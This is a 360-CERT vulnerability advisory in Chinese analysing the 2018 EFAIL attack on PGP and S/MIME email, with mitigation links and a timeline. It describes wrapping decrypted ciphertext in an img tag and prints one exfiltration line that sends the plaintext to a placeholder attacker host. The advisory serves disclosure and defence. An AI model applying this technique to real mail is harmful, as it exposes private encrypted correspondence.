報告編號: B6-2018-051501
報告來源: 360-CERT
報告作者: 360-CERT
更新日期: 2018-05-15
PGP/GPG 和 S/MIME是為電子郵件提供端到端安全的兩個重要標(biāo)準(zhǔn)。
14日,歐洲安全研究員Sebastian Schinzel在twitter對 PGP/GPG 和 S/MIME 進行了漏洞預(yù)警,隨后細節(jié)被公開。
360-CERT對漏洞持續(xù)關(guān)注,并對漏洞進行了詳細分析。
電子郵件客戶端對郵件內(nèi)容展示有多種方式,其中HTML渲染是最流行的一種。HTML支持網(wǎng)絡(luò)資源的請求,例如<img/>
、<input/>
、<script><scirpt />
等。
本次EFAIL攻擊就是借助的<img />
標(biāo)簽的src屬性,將解密后的原文發(fā)送到攻擊者控制的遠程服務(wù)器上,從而造成信息泄露。
漏洞根本的原因,是因為電子郵件客戶端在處理multipart郵件的時候,對每一個multipart獨立處理,而在顯示的時候,會將多multipart郵件的渲染到同一個HTML里面。這樣在郵件顯示的時候,明文和解密后的原文將在一起顯示,在這里會有安全隱患。
在電子郵件中允許多段存在,如圖所示:
其中multipart進行多part標(biāo)識,protocol進行配置,同時使用boundary進行分割。
郵件客戶端處理郵件時,會對每個part獨立處理,但是最后將渲染到同一個HTML界面中。這樣我們可以構(gòu)造如下PoC來利用該特性:
可以看到,PoC中利用boundary將郵件分為了三部分,分別為Content-Type: text/html ,Content-Type: multipart/encrypted;protocol=”application/pgp-encrypted”; ,和 Content-Type: text/html 。
因為郵件客戶端對每個multipart獨立處理,在這個過程中會對加密郵件進行解密。當(dāng)受害者打開郵件的時,進行解密渲染,最后該郵件將解析為:
<img src="http://x.x.x.x/郵件明文">
這樣的內(nèi)容在受害者電子郵件客戶端顯示的時候,會發(fā)起http請求,將加密的郵件原文發(fā)往攻擊者主機。
如果S/MIME采用CBC或者CFB模式,那么將會受到EFAIL攻擊。
以CBC為例,CBC模式里是分段明文,每段數(shù)據(jù)都是通過頭部與上一段密文亦或進行加密的。如下圖所示:
在(a)這里, 有已知數(shù)據(jù)IV,C0,P0, 整個揭秘過程會自動亦或后得到C2,C3的部分,也就是我們想要伸出的目標(biāo)數(shù)據(jù)unknown plaintext。
攻擊邏輯很簡單,將已知的頭部標(biāo)記(明文段”Content-type”)的密文部分篡改為img標(biāo)簽,把加密的密文包裹起來。這樣在解析顯示的時候會達到和第一種方法相同的攻擊效果。
漏洞有許多攻擊場景,例如中間人攻擊。
攻擊者作為中間人劫持到郵件流量,在加密的郵件點前后添加multipart。用戶受到郵件打開后,明文內(nèi)容將被img標(biāo)簽發(fā)送給攻擊者。達到加密郵件泄露的效果:
漏洞影響包括window,linux, 安卓,IOS等在內(nèi)的多平臺多應(yīng)用,具體影響范圍如下圖所示:
目前沒有針對該漏洞的修復(fù)補丁,所以在漏洞修復(fù)之前,請廣大用戶立即禁用或卸載自動解密 PGP加密電子郵件的工具。不要閱讀PGP加密的郵件。
同時請閱讀以下指南,暫時禁用PGP插件以降低受攻擊的可能:
雷鳥用戶緩解措施【https://www.eff.org/deeplinks/2018/05/disabling-pgp-thunderbird-enigmail】
Apple Mail用戶緩解措施【https://www.eff.org/deeplinks/2018/05/disabling-pgp-apple-mail-gpgtools】
outlook用戶緩解措施【https://www.eff.org/deeplinks/2018/05/disabling-pgp-outlook-gpg4win】
2018-05-14 漏洞披露
2018-05-14 360-CERT進行跟進分析
2018-05-15 發(fā)布漏洞分析報告